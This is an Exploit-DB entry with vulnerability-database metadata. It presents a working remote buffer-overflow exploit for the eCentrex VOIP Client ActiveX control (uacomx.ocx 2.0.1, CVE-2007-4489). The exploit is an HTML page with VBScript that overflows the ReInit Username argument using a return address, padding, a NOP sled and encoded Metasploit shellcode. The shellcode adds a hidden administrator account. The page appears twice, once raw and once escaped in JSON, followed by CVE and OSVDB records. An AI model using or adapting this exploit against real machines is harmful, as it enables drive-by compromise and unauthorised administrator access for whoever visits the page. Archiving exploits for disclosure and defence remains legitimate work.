ID EDB-ID:4299
Type exploitdb
Reporter rgod
Modified 2007-08-21T00:00:00
Description
eCentrex VOIP Client module (uacomx.ocx 2.0.1) Remote BOF Exploit. CVE-2007-4489. Remote exploit for windows platform
<!--
17/08/2007 04.41.37
eCentrex VOIP Client module (uacomx.ocx 2.0.1) remote buffer overflow
exploit (ie6 / xp sp2)
passing more than 164 chars to ReInit method in Username argument
EAX 41414131
ECX 0013D444 ASCII "AAAAAAAA...
EDX 00000000
EBX 00000000
ESP 0013D3A0
EBP 0013D458 ASCII "AAAAAAAA...
ESI 41414131
EDI 00000001
EIP 04C4C945 euacom.04C4C945
...
04C4C945 8B0E MOV ECX,DWORD PTR DS:[ESI]
04C4C947 8B01 MOV EAX,DWORD PTR DS:[ECX]
04C4C949 FF50 10 CALL DWORD PTR DS:[EAX+10]
Access violation when reading 41414131
also seh is overwritten
object safety report
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data
KillBitSet: False
this was the codebase:
http://202.73.10.134/e800/euacom/uacomx.cab
vendor:
http://www.e800phone.com/abtus.htm
rgod.
site: http://retrogod.altervista.org
-->
<html>
<object classid='clsid:BD80D375-5439-4D80-B128-DDA5FDC3AE6C' id='IUAComFormX' /></object>
<script language='vbscript'>
'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add
scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44")
'try this kind of command: msfpescan -d ./tools/iexplore -x "\x00\x13\x41\x00"
esi = unescape("%65%1a%2f%7e") '0x7e2f1a65 -> 0x00134200 - jumpin' in the middle of pad...
l_pad = Replace( Space(2555), " ", unescape("%1b%27%3f%7e") )' 0x7e3f272b -> 0x00137000 - jumping to ultranop, worked 100%, you really need javashit spray every time?
l_nop = string(12222,unescape("%90"))
UserName = String(164,"A") + esi + l_pad + l_nop + scode
Password = ""
ProxyServerIP = ""
ProxyIP = ""
Project = ""
PortNo = 1
IUAComFormX.ReInit UserName ,Password ,ProxyServerIP ,ProxyIP ,Project ,PortNo
</script>
</html>
# milw0rm.com [2007-08-21]
{"published": "2007-08-21T00:00:00", "id": "EDB-ID:4299", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "history": [], "enchantments": {"vulnersScore": 7.2}, "hash": "86263ca2e373d1c4c6e682af3a36088b822dbc23728cfedbdaee4a65564e566b", "description": "eCentrex VOIP Client module (uacomx.ocx 2.0.1) Remote BOF Exploit. CVE-2007-4489. Remote exploit for windows platform", "type": "exploitdb", "href": "https://www.exploit-db.com/exploits/4299/", "lastseen": "2016-01-31T20:35:37", "edition": 1, "title": "eCentrex VOIP Client module uacomx.ocx 2.0.1 Remote BoF Exploit", "osvdbidlist": ["37738"], "modified": "2007-08-21T00:00:00", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-4489"], "sourceHref": "https://www.exploit-db.com/download/4299/", "references": [], "reporter": "rgod", "sourceData": "<!--\r\n17/08/2007 04.41.37\r\neCentrex VOIP Client module (uacomx.ocx 2.0.1) remote buffer overflow\r\nexploit (ie6 / xp sp2)\r\n\r\npassing more than 164 chars to ReInit method in Username argument\r\nEAX 41414131\r\nECX 0013D444 ASCII \"AAAAAAAA...\r\nEDX 00000000\r\nEBX 00000000\r\nESP 0013D3A0\r\nEBP 0013D458 ASCII \"AAAAAAAA...\r\nESI 41414131\r\nEDI 00000001\r\nEIP 04C4C945 euacom.04C4C945\r\n\r\n...\r\n04C4C945 8B0E MOV ECX,DWORD PTR DS:[ESI]\r\n04C4C947 8B01 MOV EAX,DWORD PTR DS:[ECX]\r\n04C4C949 FF50 10 CALL DWORD PTR DS:[EAX+10]\r\n\r\nAccess violation when reading 41414131\r\nalso seh is overwritten\r\n\r\nobject safety report\r\nRegKey Safe for Script: False\r\nRegKey Safe for Init: False\r\nImplements IObjectSafety: True\r\nIDisp Safe: Safe for untrusted: caller,data\r\nIPStorage Safe: Safe for untrusted: caller,data\r\nKillBitSet: False\r\n\r\nthis was the codebase:\r\nhttp://202.73.10.134/e800/euacom/uacomx.cab\r\n\r\nvendor:\r\nhttp://www.e800phone.com/abtus.htm\r\n\r\nrgod.\r\nsite: http://retrogod.altervista.org\r\n-->\r\n<html>\r\n<object classid='clsid:BD80D375-5439-4D80-B128-DDA5FDC3AE6C' id='IUAComFormX' /></object>\r\n<script language='vbscript'>\r\n'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add\r\nscode = unescape(\"%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44\")\r\n\r\n'try this kind of command: msfpescan -d ./tools/iexplore -x \"\\x00\\x13\\x41\\x00\"\r\nesi = unescape(\"%65%1a%2f%7e\") '0x7e2f1a65 -> 0x00134200 - jumpin' in the middle of pad...\r\n\r\nl_pad = Replace( Space(2555), \" \", unescape(\"%1b%27%3f%7e\") )' 0x7e3f272b -> 0x00137000 - jumping to ultranop, worked 100%, you really need javashit spray every time?\r\n\r\nl_nop = string(12222,unescape(\"%90\"))\r\n\r\nUserName = String(164,\"A\") + esi + l_pad + l_nop + scode\r\nPassword = \"\"\r\nProxyServerIP = \"\"\r\nProxyIP = \"\"\r\nProject = \"\"\r\nPortNo = 1\r\nIUAComFormX.ReInit UserName ,Password ,ProxyServerIP ,ProxyIP ,Project ,PortNo\r\n</script>\r\n</html>\r\n\r\n# milw0rm.com [2007-08-21]\r\n", "objectVersion": "1.0"}
{"result": {"cve": [{"id": "CVE-2007-4489", "type": "cve", "title": "CVE-2007-4489", "description": "Buffer overflow in the IUAComFormX ActiveX control in uacomx.ocx 2.0.1 in the eCentrex VOIP Client module allows remote attackers to execute arbitrary code via a long Username argument to the ReInit method.", "published": "2007-08-22T19:17:00", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-4489", "cvelist": ["CVE-2007-4489"], "lastseen": "2017-09-29T14:25:29"}], "osvdb": [{"id": "OSVDB:37738", "type": "osvdb", "title": "eCentrex VOIP Client IUAComFormX ActiveX (uacomx.ocx) ReInit Method Arbitrary Code Execution", "description": "# No description provided by the source\n\n## References:\nSecurity Tracker: 1018596\n[Secunia Advisory ID:26525](https://secuniaresearch.flexerasoftware.com/advisories/26525/)\nOther Advisory URL: http://milw0rm.com/exploits/4299\nISS X-Force ID: 36129\nFrSIRT Advisory: ADV-2007-2954\n[CVE-2007-4489](https://vulners.com/cve/CVE-2007-4489)\nBugtraq ID: 25383\n", "published": "2007-08-21T00:00:00", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://vulners.com/osvdb/OSVDB:37738", "cvelist": ["CVE-2007-4489"], "lastseen": "2017-04-28T13:20:33"}]}}
